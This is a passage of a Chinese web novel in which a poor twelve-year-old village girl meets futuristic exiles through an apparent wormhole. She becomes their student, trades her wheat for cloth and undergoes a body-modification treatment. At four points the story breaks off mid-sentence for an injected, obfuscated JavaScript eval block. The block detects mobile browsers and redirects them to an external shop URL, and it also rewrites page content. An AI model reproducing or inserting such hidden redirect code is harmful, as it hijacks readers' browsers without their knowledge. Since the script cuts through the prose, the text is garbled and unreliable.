白仁悦想再说些话,但还是只揉了揉她的脑袋:“那这件事之后再说吧,你要跟我们学异能也不是一朝一夕的事,先得把你的身体养好,否则学了异能不仅会狂暴,还会早死,不是叫你什么都不敢,但接下来一段时间,你得尽可能少干多吃。” 忍冬犹豫思索,想到学会异能后的强大,觉得暂且少攒点钱也行,等她变得更强大,可以赚到更多的钱。 “等我卖了麦子,就去买猪肉,到时候夏奶奶和白奶奶跟我一起吃,”忍冬说着,忍不住咽了咽口水,“肉好吃,肉汤也好吃,特别是肉汤拌饭,特别特别好吃。” 至于猪肉,她娘说野物的肉跟猪肉不一样,小时候她是吃过的,味道很好,只是她早就忘了那时候家里的肉是什么味道,大多数时候在家里只能分到一点点肉汤,但既然肉汤拌饭也好吃,猪肉的味道肯定会更好。 “说过了现在先去换衣服。”夏瑞蒂又将衣服递给她。 忍冬还是摇头,这次不是拒绝,而是有理由的回话:“夏奶奶,衣服我很喜欢,但这衣服太好了,我穿着干活会弄脏它的,等我卖了这些萝卜,回来洗过澡,再穿给夏奶奶和白奶奶看,我现在去给你们煮早饭吃。” 说完,她走到自己昨天临时搭的灶台边,用手里的石头生了火,等水煮开后,再放下掰断的萝卜和白菜叶。 夏瑞蒂和白仁悦在后面低声说话。 “这孩子哪里都好,就是太过节俭,不过我们在这里住了多年,都不见有原住民,她是从哪儿来的?” “或许并不是原住民,而是别的流放者的孩子?” “不可能,若真是别的流放者的孩子,无论如何都不可能过成现在这个样子,就像我们这些年的日子,固然并不算好,但至少营养液并不短缺,可看她这样,瘦骨嶙峋,仿佛是饿了多年,而且你还记得她说的吗?她说旁的地方有肉买,还可以卖萝卜。” “她要卖萝卜买肉,是不是意味着萝卜比肉便宜?可这些天然的作物,已经有许多年没有高产量。” “她一个瘦骨嶙峋的孩子,轻而易举种出了这些萝卜,日子却依然不好过,这也不对。” 两人看向彼此,心里都觉得不对。 但她们都没有说什么。 吃完早餐,忍冬背着背篓往来时的方向走去时,两人也悄悄跟在身后。 然而她们跟到一半,就被一堵无形的透明墙壁拦住,想尽办法都再无法上前半步。 …… 忍冬爬出了洞口,从暗处抽出一根藤蔓,将藤蔓绑在背篓上,将装满了萝卜的背篓先放下去,等到背篓落地,自己才拽着另一根藤蔓往下爬。 这边的山洞有很多,大多都只有一人多深,且里头空无一物,并不会有人在意这些地方。 她之前要不是急着寻找她娘的落脚之处,也不会发现这个山洞。 这个山洞是属于她一个人的秘密。 脚下碰着了地面,她将手上的藤蔓放开,再解开背篓上的藤蔓,将它们藏在暗处,这才背着背篓往县城的方向走去。 今日她有不少时间,卖掉这些萝卜之后可以再回来一趟,继续卖第二趟。 她不知道的是,这个时间,山洞另一边,有人正在仔细研究她回来的那条路。 “过不去,这里的能量场很大,或许我们体内的能量与这个能量场具有极强的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135704|196265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 排斥性。” “但她带走了能量石,还有蕴含能量石的睡袋。” “这样说的话,就不是我们的能量问题,不过这堵墙,之前出现过吗?” 众人齐刷刷看向夏瑞蒂。 这个地方,是属于夏瑞蒂的。 “没有,所以当初忍冬出现,我也觉得很奇怪,这才让你们过来看,”夏瑞蒂目露疑惑,“我能确定,在她出现之前,这里绝没有这样的能量场,仿佛这能量场就是她带过来的,可她若是有这样的本事,又怎么会落到那样的地步?” “她那个人看上去也很奇怪,身上没有翻译器不说,穿着还那样破烂,衣服上居然还打了补丁,这念头就算是最偏远的低等星球,也不会出现这样的情况,除非是历史上物资不丰的过去。” “对,就是这个,我想到了!”其中一人拍了拍掌,“如果说这道能量场的那边,是虫洞呢?” “虫洞?” “虫洞可以连接过去未来,不惧时间和空间限制,也就是说,那个小姑娘很有可能来自过去?” …… “你这萝卜不错。” “我特意挑的最好的萝卜,”忍冬抬头面露微笑,“而且都是新鲜的,今早刚从地里拔的。” “看这颜色,确实还算新鲜,那我拿两个。” 周围路过的人听到对话,也都蹲下来看萝卜,确定没问题,都挑拣着选了自己看中的萝卜。 一大筐萝卜,很快就卖了个干净。 卖完萝卜之后,她去买了早上想到需要买的东西,又背着满满一大筐东西回了山洞。 这次没见到夏奶奶和白奶奶,她只拔了萝卜,没有逗留太久,就原路返回,继续去卖萝卜挣钱。 在她离开不久,就有数人从山壁里出来。 “看着很像是虫洞,她走的那个方向另一处我看过了,并没有人定居,如果没有虫洞,那就只能是山里有隧道了。” “隧道也不可能,这边是我们特意选的地方,绝不可能有人背着我们在这里打隧道。” “可惜我们手上没有专业的工具,要是能测出虫洞,或许……” “不行,她那个世界还是古代,这里的虫洞要是被发现,她那边的人都活不了,那些人的脾性你们最了解,绝不会放过任何一点资源,更何况,还是能种出天然可食用作物的上好资源星。” “说了对我们也没好处,真要是被他们发现这里的情况,我们好不容易建立的基地,也要被彻底毁灭。” “啧,看来我们的未来,已经跟她绑定了。” “她想要学的异能,也是非教不可。” “是不是还得教点别的防身手段?以她的说法,她那个世界对她似乎也不太友好,仓库里还有几把古早的激光枪,我可以教她用枪。” “那可是古代,用激光枪不好吧?还是用冷兵器比较好,我会用刀,可以教她用刀。” “激光枪有什么不好,一击击杀,用刀她也很危险的。” “就算不练刀,她也得练身体,不然遇上人跑都跑不远,还是得我来。” “有了激光枪,任何人都动不了她。” “但要是被发现了,她会很危险,当然还是能不被发现,就不被发现要好!” 12.拜师诚意 “事情就是这样的,你想跟谁学?” 忍冬看了眼问话的夏瑞蒂,又看向那一群自己并不认识的陌生人,忍不住双手交错,紧握着思索到底发生了什么事。 她卖完第二批萝卜回来的时候,就发现这里多了好几人,而且都是陌生的面孔,没等她询问究竟是什么情况,就被拉着询问自己到底是想要学刀,还是想学激光枪。 她不知道所谓的学习到底是指什么,但不管是刀还是枪,都是可以让她变强大的东西。 这一刻,她心里突然升起了几分激动。 “夏奶奶,刀和枪我都可以选吗?非得二选一?”忍冬问道。 “你想都选?”夏瑞蒂问道。 忍冬瞬间挺直了背脊,兴奋问道:“可以吗?我想让自己变得更强大,更厉害,不管是刀还是枪,都可以让我变得厉害,对不对?” “那样会很辛苦。”夏瑞蒂说道,还想要劝她二选一。 忍冬立即接话:“我不怕,只要能好好过日子,让我做什么都可以,辛苦是最不值得一提的!” 说完,她立即看向那两个主动说要教她练刀和枪的人。 “你想好了?一旦你确定了,可不能反悔。” “虽然练枪对于你体力的要求并不高,但同样要求身体素质过关,如果你应了,我这边对你的训练也会加强,同样不会轻松,确定不反悔吗?” 忍冬听到这话有些疑惑,心想枪和刀不都是刺砍的武器,那长枪还需要更大的力气,怎么就对体力要求不高了? 但不论如何,只要两人愿意教她,她都可以做到。 所以很快她就点了头:“既然答应了,我绝不会反悔!” 白仁悦起身,走到她面前:“既然你要跟我们学东西,有些事我们也需要了解,说说你家里的情况。” 忍冬眼眸微动,突然想到了卫大夫的决定。 如果她说实话,这些人会不会也跟卫大夫一样,为了避免麻烦,直接放弃她? 念头刚想起,白仁悦就笑着说道:“你还小,撒谎的时候所有的心思都会露在眼睛里,所以你要是撒谎,可瞒不过我,最好还是实话实说,嗯?” 忍冬看着白仁悦的双眼,惊地收缩自己的眼眸。 片刻之后,她点了头:“我说。” 她在村子里伪装那么多年,除了主动跟狗贵透露的情况,连她娘都不知道她心里在想什么,但在这里,却总是被人一眼看穿,让她不禁心生俱意。 走到这一步,她固然还可以继续隐瞒,想法拖延时间,把小麦都割了立刻跑路,再也不来这里。 但小麦固然值钱,这些人却都是有异能的,且就算没有异能,也还可以教她用刀枪练武。 既然瞒不过,不如实话实说。 说书先生曾经说过一句话,叫“富贵险中求”,她若是真能同这些人学到足够多的东西,往后哪里还需要害怕无处可去? 忍冬从她娘开始试图逃跑说起,一字一句说起这两年间发生的事,包括她意外认识卫大夫得以学药,到被她奶捣乱,无法再与卫大夫相处。 以及她设计她爹进山,进入她提前准备好的布满竹刺的陷阱,受伤严重,又故意叫人给他壮阳药,让他以后再无生育可能的事。 这件事她本可以不说,但或许这也是可以得到富贵的险。 不过她也不是没有准备,说话的时候一直在打量众人的表情,虽然并没有观察出什么问题,但至少可以确定这些人并没有厌恶她。 说完,她依然交握着双手,低声道:“事情就是这样,我要安置我娘和那些孩子们,所以想要多挣钱,至于学武,我也是希望能有自保的能力,再过两年我奶肯定会打起我的主意,将我许人换钱,我想在这之前可以脱离那个家。” “你这孩子,小小年纪就经历了那么多,却还能这么厉害,真是不错。” “所以你救下那些孩子,主要是为了留住你娘?” 忍冬缓缓点头:“一开始是这个原因,后来是觉得她们确实都很可怜,至少我活了下来,但她们如果没有我救,刚出生没多久就会死,我不愿意见到那样的情况。” “你自己都这样了,还愿意救她们,倒是个有情义的,我们在这里索性没什么事,教你学武没问题,但……有一个条件,”汉普顿看着忍冬陡然被压下的高兴,自己的笑容反而加大,“你要学武,得把这些东西都留下来,包括那些麦子。” 忍冬蓦地站了起来。 “我……可……” 她花了半年时间才种了这些麦子,好不容易到了能卖钱的时候,这要是给出去,她以后的日子怎么办? 但自己也想要学武。 可没有这笔钱,她就没办法买粮食,就算学了武,她娘和那些孩子该怎么办? “别跟她开玩笑,把人脸都吓白了,这孩子本来就很可怜,你们还这样,”夏瑞蒂拉过忍冬的手,“事情不是你想的那样,虽然我们要粮食,但你也不是什么都没有,我们用布料换你的这些粮食,你用布料去换钱,也能给你娘和那些孩子们买粮食吃。” 说完,夏瑞蒂直接拉着忍冬走到一边,打开了一早就放在这里的一个大袋子,打开后露出里面的布料。 一整个袋子里,都是布料。 “这些都是最普通最寻常的布料,不知道能卖出多少钱,你拿去卖,看能卖多少钱,要是这些都不够抵这些粮食的,我们那儿还有,要多少有多少。” 忍冬抬手想要摸摸看,但发现自己手心里的皲裂痕迹,又缩回了手。 “不会弄坏的,你放心摸吧,”夏瑞蒂压着她的手放下,“这些料子虽然都很普通,但没有那么脆弱,不管你是直接拿去卖,还是做衣服卖都行。” “好滑。”忍冬来回摸了摸布料,想到她说这些料子普通,忍不住想这都普通,不知道她认为好的料子是什么样的。 但不论如何,这些料子要卖出价格绝没有问题。 想着,她立即点头:“夏奶奶,白奶奶,还有各位爷爷奶奶,这些料子换粮食没问题的,要是这些不够,我还可以拿这些料子去换粮食,多少都行!” 这样好的料子,要卖出去可能比她的粮食都还要容易,且还不会被人压价。 忍冬的面上露出了明显的笑容:“对了,大家应该都饿了,我去给你们做饭菜,刚才我出去一趟,不仅买了盐,还买了米, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144191|196265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加了盐之后,菜的味道会更好的,就是锅小了点,煮的会有点慢。” “可以直接用大锅煮?那我们给你找个大的锅。” “还有这个烧火的,非得用那些树枝吗?直接用能量石可以吗?” “这个叫萝卜的可以生吃吧?我现在能不能生吃一个?” 忍冬听着大家七嘴八舌的询问,只能一次又一次茫然点头。 “可以用大锅。” “能量石应该……可以吧。” “萝卜可以生吃。” 然后她就眼看着有人从山壁空间里扛出一个巨大的锅,又拿出一个所谓的能量石台子。 两者放在一起后,在没有火的情况下,锅里的水在不久之后,就真的莫名其妙沸腾了。 好奇怪。 她挠了挠脸。 这些人什么都有,怎么就喜欢吃萝卜白菜? 说书先生不是说那些个权贵富家要什么有什么,吃的都是珍馐美味,甚至龙肝凤胆都不在话下,萝卜白菜这些东西应该也能轻易吃到吧? 还是说因为他们太有钱了,从来都不吃萝卜白菜这样便宜的东西,所以才馋? 想归想,她手上的动作并没有停,见锅里的东西煮的差不多,就拿出了刚买的盐粒,打开纸包就要往下倒。 “等一下,你这个是盐,怎么是这个颜色?” “盐不就是这个颜色吗?”忍冬疑惑问道。 “肯定是杂质没提取干净,”白仁悦一眼看出了问题,接过忍冬手里的盐包,“这盐不好吃,用我们的盐吧,顺便再拿几个碗和勺子来。” 忍冬这次没有疑惑,毕竟是富人,用的盐肯定比她这样的平民能买到的盐要好。 不过等盐拿过来之后,她还是有些惊讶,没想到居然会有颜色这么白的盐。 而且用这个盐煮出来的萝卜白菜汤真的很好吃,一点没有苦味不说,似乎让萝卜白菜的味道都比正常煮出来的味道要更好了一些。 她还是头一次吃到这么好吃的萝卜白菜。 再加上刚煮好的米饭,搭配在一起,味道更好吃了! 所以她跟众人一样,都吃的十分尽心,到最后甚至还吃撑了。 “嗝——” “真不错啊,早先就看你一个人吃,今天我们可都算是吃到了。” “是啊,这些东西看上去平平无奇,吃起来味道确实不错,早知道我们一早就出来了,小忍冬,以后我们的吃喝可就全靠你了。” 忍冬连连点头:“好啊好啊。” 说过,她恰好目光偏移,看到了地里的一片狼藉。 所有人都吃饱吃撑了,地里的萝卜自然也都被消耗了许多。 “你种的东西,我们吃了都会补偿你,回头再给你拿一袋子布料来,卖了多少钱都归你,行吗?” 忍冬眼中再没有对萝卜被吃光的心疼,笑着眯起了眼,回头看向大家鞠躬道谢:“谢谢爷爷奶奶们。” “或许你应该喊我们老师。” 忍冬笑着后退,跪下给他们磕头:“老师们好,以后我就是你们的学生了,请多多指教!” 说书先生教过的,这是拜师的诚意。 13.机体改造 “娘——” “冬儿来了,”菡萏拉着忍冬的手,敏锐察觉到了她此刻的情绪,“怎么今日这般开心?” “我遇见了好人,而且是好多好人,”忍冬回握住她的手,“他们说可以当我的老师,教我习武,还能学如何与外人相处,以后我们的日子肯定会越来越好。” “老师?”菡萏微微皱眉,“真的没问题吗?不会被骗?” “不会的,娘放心吧,我什么都没有,就算是骗我又能骗什么呢?”忍冬拉着她的手往山洞内走,“不说那个,今天我来,给娘带来了好多布料,娘给大家各做两身衣裳。” 山上本来就相对较冷,山洞内的温度会更低,所以洞内的地面铺了实实在在的厚实稻草,都是这半年来忍冬陆陆续续带来的。 不过即便如此,这里的温度依然不会太高。 进了山洞,忍冬从背篓里取出一叠又一叠的布料,将它们都交到菡萏手里:“娘,你别看这些料子很薄,其实穿着可暖和了,我身上就穿着这个料子做的衣服,现在觉得可热乎了。” “怎么这么多料子,这得花不少银两吧?冬儿,你……”菡萏有些不敢相信地摸着手上的料子,“而且这料子还这样柔软。” “娘放心吧,这些料子来的都很正当的,”忍冬笑着说道,“我刚才不是说了,遇到了许多大好人,这些料子就是老师们给我的。” “那万一……” 忍冬知道她的担心,打断她的话说道:“娘,我不是说了,我这样穷苦人家的孩子,能有什么值得别人觊觎的,所以老师们都是真的好心,你就放心吧。” 就算真的被觊觎又如何呢?反正她现在实实在在得到了这些东西。 现在小麦还没收割,布料却都先到了她的手上,即便小麦出了问题,她也是不亏的,更何况这些料子已经到了她娘手里,无论如何都不会出现意外。 念头闪过,她继续从背篓里拿东西:“对了,还有丝线,娘,你们接下来无事,可以做做荷包,绣绣手帕,等下回我来,就带着荷包和帕子出去卖,咱们能多赚些钱。” 菡萏看着女儿的模样,心里有千言万语要说,话到嘴边却什么都说不出口。 是她太没用了,才让女儿承担那么多。 眼眶中的泪水逐渐续满。 她抬手擦去眼泪:“今日你着急回去吗?娘这些日子用你之前拿过来的布料给你做了身衣服,再收个尾就能做好,你在这等等,娘给你做好,你带回去行吗?” 忍冬立即点头:“行,娘最好了。” 之后菡萏将忍冬刚带过来的布料交给杨柳和青竹,让她们按照小孩的身形裁剪,等忍冬离开后动手缝衣。 自己则带着忍冬到了山洞外,拿出了做的差不多的衣服,对着她比划了一下:“娘估的没错,你等一会儿,很快就能做好。” “嗯,”忍冬乖乖坐在她身旁,从怀里拿出了之前卫大夫给的册子,“娘,你顺便教我多认识一些字可好,这上面好多字我都不认识,也不知道是什么意思。” 菡萏看了眼册子就知道来自哪里,说道:“卫大夫真是好人,以后你要好好尊敬他,这样的东西一般大夫可不会舍得教。” 忍冬握着册子的手顿了顿。 她忘了,娘亲还不知道自己跟卫大夫学药的事被她奶断了。 菡萏见她不说话,强调道:“冬儿,做人要知恩图报。” “我会的,”忍冬脸上又露了笑容,“卫大夫对我这么好,我一直都记在心里,以后我会好好尊敬他,报答他的,娘放心吧。” “那就好,”菡萏又看册子,“哪里不会,娘教你,不过娘之前没看过医书,这上面的那些药材和药效,我也不是很懂,等你下次去找卫大夫,可以去问问他,但不能经常打扰他。” “嗯,”忍冬点头,点了个字,“娘,这个字怎么念?” “这个字念痢,止痢,应该是止痢疾导致的腹泻,这是一种很常见的病。” 菡萏对药的了解不多,只能按自己曾经接触过的疾病,和微薄的了解给忍冬进行介绍,却又怕影响到忍冬,每次解释后都会说一下还是得问卫大夫。 忍冬并没有说太多有关卫大夫的事。 娘待在这里本来就一直很难受,觉得帮不到自己,要是叫她知道因为她奶,导致她失去了跟卫大夫学医的机会,一定会更难受的。 至于对这些疾病的了解,就算不知道也没关系,反正她主要是采药赚钱。 不对,现在她可以拿布料去换钱,或许也不需要采药了。 想归想,她还是在认真跟着菡萏学字,顺便认认真真将书册上药材的模样记下来,不管是叶片的模样还是根系的模样,都记的清清楚楚。 卫大夫之前说过,有些植物长的很像,但其中一种是治人的药材,另一种却是毒药,用错了会害人害己。 就算采错的是普通的没有药性的杂草,一剂药方中少了一味药材,也会影响到药剂的作用,同样会害了人。 所以无论如何,她都不能弄错。 两人并肩坐着,一人看书,一人缝衣,让人的心都平静下来。 “做好了,”菡萏用牙齿将线咬断,打开缝好的衣服,“来,冬儿试试。” 忍冬立即站定,穿上刚做好的新衣服。 “有点大了。” “大一点好,”忍冬熟练地卷起衣袖和裤脚,“我马上还能长高,大一点能多穿两年,时辰差不多了,娘,我得回去了,过些天再来看你。” “下去的时候小心些。” “放心吧,娘,我都习惯了,不会有事。” 忍冬说过,抓着藤蔓往下爬,熟练地爬到了底部,沿着山里的小路往那处神秘的山洞方向走去。 杨柳收起了藤蔓,回头看到菡萏的表情,疑惑问道:“娘,怎么了?” “家里出事了,”菡萏低声道,“刚才给冬儿换上新衣服,她都没有拒绝,要是没有出事,她肯定会说衣服穿回家里要露馅的。” “或许是姐姐打算下去后换上旧衣服,再把新衣服塞到隐蔽的地方呢,”杨柳说道,“娘给姐姐做的衣服,姐姐一定很喜欢的。” “希望没事,”菡萏擦了擦眼泪,看向两人,“今日冬儿多带了些丝线和针过来,我教你们做荷包和手帕,回头叫冬儿多拿一些出去卖,她的负担能轻些。” 两人立即点头:“嗯,娘教我们,我们一定好好学。” 忍冬不知道自己差点露馅,快步回了山洞之后,她迅速看向那一大片麦田。 金黄的麦田已经彻底成熟。 接下来几天时间,她要把所有的时间都放在这片麦田里。 放下背篓,她立即开始动作,拿起边上的镰刀开始收割,因为她的身形小,不需要像大人一样弯下腰,收割起来腰轻松些。 不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147743|196265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的力气也没有大人们那么大,每次收割都需要耗费全部的力气。 但只要一想到这么一大片麦田可以换到许多布料,而她又可以拿着布料去换钱,再苦再累都值得! 收割了一会儿,她突然听到有人喊她,立即抬头看去,笑着喊人:“老师!” “你在做什么?”汉普顿走过来,看到她手里和地上的麦子,“这就是你说的收割麦田?总这样干下去,你的身体受得了?” “累是累点,但都是粮食啊,而且这些粮食都属于我们,”忍冬额头上已经凝出了汗珠,表情却是抑制不住的开心,“等这些麦子收割了,再碾成白面,我们就能吃白面馒头了,刚蒸出来的白面馒头可好吃了,老师到时候可以多吃几个。” 汉普顿皱眉:“以前你也是这么干的?” “嗯,不过之前割麦子都没我的份,今天这些都是我的,”忍冬觉得再没有哪一刻收麦子比今天更开心的,“老师你放心,等我割了这片麦子,就跟你学武,肯定不会耽误的。” “学武是对身体好的,你割麦子重复的这些事,对你的身体可不好,”汉普顿看着她,“怪不得你小小年纪,有些身体关节看着已经不对劲了,收割的事你先等等,明天我们帮你解决,现在你跟我来,我带你去调整一下身体的状态。” “但好多呢。” “不听老师的?” “听!”忍冬只能放下手上的镰刀,跟着汉普顿走去。 这时候她才看到,溪水边多了一个大箱子,箱子看上去奇奇怪怪的,不是木头做的,也不像是铁做的。 “你要学武,要学异能,最重要的前提是你的身体能承受住异能,要是在身体调理好之前就学异能,只会加快你的死亡和癫狂的速度,进里面之后你整个人都要浸透在那个环境里,可能会有点疼,但那都是正常的反应,你要坚持住,不能随意出来。” “我知道,卫大夫说过,这是不是药浴?”忍冬有自己的解释,“老师放心吧,再疼我都不会出来的!” 说着,她直接开门进了箱子里。 没想到里面却没有药水,而是白白的雾气。 雾气也能药浴? 她动鼻子努力闻了闻,完全闻不出丁点儿药味。 不过算了,可能是这里的药浴比较特别,她坚持住就好。 门外,汉普顿见大门已关,转身往山壁的方向走去,进了山门后直接道:“做个简单的收割机器吧,不然让她一个人手动干活,感觉我们像是在虐待儿童。” “我看到了,收割机的制作程序已经设定了,不过你这么快就说服她了?她那个古代环境,连机体改造雾化都那么容易能接受?” “我没解释,她有自己的一套思绪,能说服她自己就行,”汉普顿说道,看向另一处的屏幕,“同样的地,怎么我们种不出来,忍冬却能轻轻松松就能种出那么多食物?” “种不出来才好,真要是种出来了,反而会被盯上,反正就是锄地翻土,就当是运动了,也不知道是谁想出来的服刑方法,叫人种地,啧。” “对我们来说是服刑,对忍冬来说,却是让她很高兴的事,”汉普顿说道,又看着屏幕,“不过以我们现在的侵入程度,是不是可以多找一些土地,让忍冬种地?” “可以是可以,但风险会变高,一旦发现异样,他们只会盯我们盯的更紧。” “一群胆小鬼!就会来阴的!” 14.小麦收割 “醒了?” “夏奶奶,”忍冬刚醒来,一时间有些恍惚,“我好像记得……” “你疼晕过去了,”夏瑞蒂扶她起来,“我们发现的时候你都晕了好一会儿,不舒服怎么不出来呢?” 忍冬想起了之前的情况,抿唇笑道:“我感觉还好,没有很疼。” “都疼晕过去了,还说没有很疼,你这性子真是犟,”夏瑞蒂无奈摇头,抬手碰了碰她的脑袋,“现在感觉还好吗?有没有不舒服的?” 忍冬摇头:“没有了,我感觉很好。” 说着,她想起麦子的事,连忙翻身起来:“我睡多久了?地里的麦子还要割呢,再不割就来不及了。” “来得及,”夏瑞蒂扶了扶她,“正好你醒了,你来看看我们做的工具对不对。” 忍冬疑惑地点头,走出去后回头,发现自己还是在那个箱子里,虽然好奇为什么这个药浴会让她昏迷,但也没有多问。 外面聚了不少人,见她出来都一一关心询问。 “可算是醒了,你都昏迷好久了。” “身体感觉还行吗?有没有哪里不舒服的?” “刚醒来还是坐着吧,你的身体还是太弱了,承受不住机体浓雾的改造,等你稍微好点,再跟我们学武。” 忍冬看着边上突然多出来的椅子,坐下后抬头微笑:“我现在很好,让老师们担心了,我以为自己承受得住,没想到会昏迷。” “你从小到大的身体都不太好,表面上看着还行,其实骨子里的身体很差,偏偏你又是个要强的,这才会昏迷,下次可不能这样了。”汉普顿见她醒来,也是松了口气,要不然出了事,他可不好跟其他人交代。 他也没想到忍冬居然能这么能忍痛,居然能痛到昏迷,想起忍冬还在舱里的时候,她不知道已经昏迷了多久。 忍冬点头:“嗯,我听老师的,下次不会这样了。” “下次会根据你的身体状况,提前给你设置好时间,不会让你昏迷过去。”夏瑞蒂看向汉普顿。 汉普顿猛地咳嗽两声,连忙转移话题:“对了,忍冬,你说这些麦子只要割下来就行是不是?我们做了个工具,你看看能不能行,要是可以的话,接下来我们都给你割了?” 忍冬看了看他,又看了看夏瑞蒂,抿嘴偷笑了片刻,乖乖点头:“好的,老师。” 说过,她看向麦田那边的所谓工具,好奇这东西到底要怎么用。 正想着,那东西就动作起来,不一会儿就收割了一大片麦田,不仅比她的速度快,甚至比好多成年人的速度都还要快许多。 她忍不住站了起来,惊叹道:“好厉害啊。” “可以这样割吗?” “太好用了,”忍冬连连点头,“这是什么工具啊?我以前从来都没有见过,要是都有这样的工具,这麦子收割的速度可太快了,也不用那么累。” “所以你以后做事,也不用总是想自己硬扛着,有工具的情况下不用工具,那不是你厉害,而是你傻。” “你才傻,忍冬又不知道有这样的东西。” “忘了忘了,哈哈哈,忍冬你再看我,这片麦田我们这就给你全收割了。” 说过,机器开始快速运转起来,飞快地开始收割麦田。 这一大片麦田,原本忍冬留了三天的时间干,却没想到眨眼之间就割了一大片,而且机器还在以极快的速度进行收割。 她惊奇地看着这个机器,眼睛都不敢眨,就这样努力瞪大眼睛看着。 夏瑞蒂站在她边上,低头看她这个模样,笑着摸了摸她的脑袋:“要不要自己去试试?” “可以吗?”忍冬立即转头看她。 “当然可以。”夏瑞蒂说着,直接喊了一声。 没多久,收割小麦的机器就到了忍冬手上。 机器被调成手动模式,她握着机器在麦田里快步奔跑,不一会儿就割下大片大片的麦田,不仅不累,反而还很有趣,好像是在玩似的。 夏瑞蒂等人就站在边上看她奔跑,脸上都带着浅浅的笑容。 “现在倒是有点小孩子模样了,先前那模样,感觉像是个成年人。” “本来就是小孩,她才只有十二岁。” “换个角度想,一个十二岁的孩子,却藏着深深的心计,何尝不是周围人给她带去了太大的压力。” “她有心计,只因为她想要活着,这没有错。” “归根究底,还是武力值不够,只要她武力值足够,就不需要心计了,遇到给她带来问题的人,直接杀了就是。” “汉普顿,你别带坏她!” “就是,汉普顿,你要是敢把她培养成杀人不眨眼的性格,我先要了你的命。” “啧,杀人不眨眼有什么不好,至少不会被欺负,也没有人敢得罪她,不然我们问问她,没准她愿意呢?” “你敢!” 汉普顿左右看看,所有人的目光都带着警告,他默默开口:“好了,不教就不教,行了吧?” 大不了他私底下悄悄教,反正忍冬那孩子也会装,别把这件事说出去就行。 不一定非要到杀人不眨眼的地步,至少别人作恶,不能心生同情,直接杀了,才能彻底解决问题。 想着,他与白仁悦目光对视,看到了她意味深长的目光,等他还要再说的时候,她却已经移开了视线,当做什么都没看见。 汉普顿不禁笑了起来。 看来她是认可自己的打算的。 忍冬没忍住收割麦子的快乐,一口气将所有的麦子都收割完毕,虽然跑着浑身是汗,但完全没有以前收割完小麦的疲惫和不适。 回到原地,她将手上的机器交给汉普顿,看着他关闭机器。 “这样就能吃了,是不是还需要干别的?” 忍冬点头:“嗯,要先把麦粒都脱下来,然后清除杂质,再……” 她对小麦的处理十分熟悉,一五一十说了处理方法和过程,最后才说道:“原本麦粒脱下来之后就可以直接去卖,但这些小麦要留下来自己做东西吃,就需要这么些步骤,虽然比较麻烦,但我花些时间,要不了多久就能让它们都变成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156948|196265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面粉。” “确实麻烦,让你一个人处理太费时间,还耽误你学武,这样,你仔细说说处理方法,我们想办法再做些工具,到时候直接用机器来处理。” “可以吗?”忍冬激动问道,“这些事情也可以交给机器干?机器也太厉害了吧!” “人能做的事,机器都能做,你先坐下歇歇,顺便跟我们说一说接下来怎么做,机器的事交给我们。” “好。” 忍冬坐下,又从头到尾认认真真说了一遍小麦的后续处理过程。 说话的时候,她还是忍不住看向那个收割小麦的机器。 刚才那会儿干的事实在是太痛快了,让她有些意犹未尽,恨不得一口气去割一百亩小麦,只可惜她就种了这么些。 当初种的时候她还觉得太多了,现在却觉得有点少,早知道收割的时候还有这么好的工具可以用,她当初一定要多种点。 不过……她好像忘了什么事? 到底什么事来着? …… “小贱蹄子,赔钱货!” “你回来看我不打死你!” “家里这么多事都不干,这么多天都不回来!” 老太太在院子里一边磨刀一边叫骂,将肚子里的所有脏话都骂了出来,眼睛更是愤怒的不行,连带着磨刀的动作都是大开大合,这时候要是有人进了门,她感觉真会一刀砍过去。 隔壁的老太太实在是忍不住,站在院子那边回说:“哎呦,来翠,你这都骂了几天了,能不能消停点?前些天不是你把大丫赶出去,让她去采药卖药的吗?不就是多出去几天,你叫嚷什么呢?” “我骂我的,关你屁事?” “你吵到我了,当然关我的事,一天天的就知道骂,烦都烦死了,你又要让你孙女出去赚钱,又要让她在家干活,哪有那么好的事?而且林子里多危险啊,没准她现在都已经被狼咬死了。” 